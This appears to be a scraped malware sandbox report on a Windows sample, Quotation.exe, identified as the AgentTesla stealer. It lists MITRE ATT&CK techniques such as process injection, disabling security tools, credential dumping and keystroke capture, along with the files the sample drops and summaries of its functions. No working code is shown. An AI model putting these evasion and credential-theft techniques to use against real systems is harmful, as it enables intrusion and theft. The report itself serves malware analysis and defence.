Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Quotation.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nss582A.tmp\System.dll

C:\Users\user\Music\antithetic.ini

C:\Users\user\overlays\besvangredes\Emmens.udk

C:\Users\user\overlays\besvangredes\Parfumere224.wam

C:\Users\user\overlays\besvangredes\unnaturalism\Erythroclastic.Lid

C:\Users\user\overlays\besvangredes\unnaturalism\Proprietrer.bet

C:\Users\user\overlays\besvangredes\unnaturalism\Trikstanks.pra

C:\Users\user\overlays\besvangredes\unnaturalism\boyaus.rom

C:\Users\user\overlays\besvangredes\unnaturalism\gear.dra

C:\Users\user\overlays\besvangredes\unnaturalism\jagtfalk.ill

C:\Users\user\overlays\besvangredes\unnaturalism\regill.ful

C:\Users\user\overlays\besvangredes\unnaturalism\sortlistningens.txt

Static File Info

General

File Icon

Windows Analysis Report
Quotation.exe

Function 004036DA Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 416
stringfilecomCOMMON

Function 0040154A Relevance: 37.2, APIs: 17, Strings: 4, Instructions: 441
stringtimesleepCOMMON

Function 004066F7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 155
filestringCOMMON

Function 00404F70 Relevance: 63.4, APIs: 35, Strings: 1, Instructions: 374
windowstringCOMMON

Function 00405A1C Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 225
stringregistryCOMMON

Function 004033CB Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 178
memoryCOMMON

Function 00405E98 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 209
stringCOMMON

Function 00405D18 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76
stringwindowCOMMON

Function 00403148 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 162
COMMON

Function 0040617C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00406A34 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 35
COMMON

Function 004068C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
libraryloaderCOMMON

Function 00405E1C Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Function 00406955 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
registryCOMMON

Function 00405DFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12
COMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre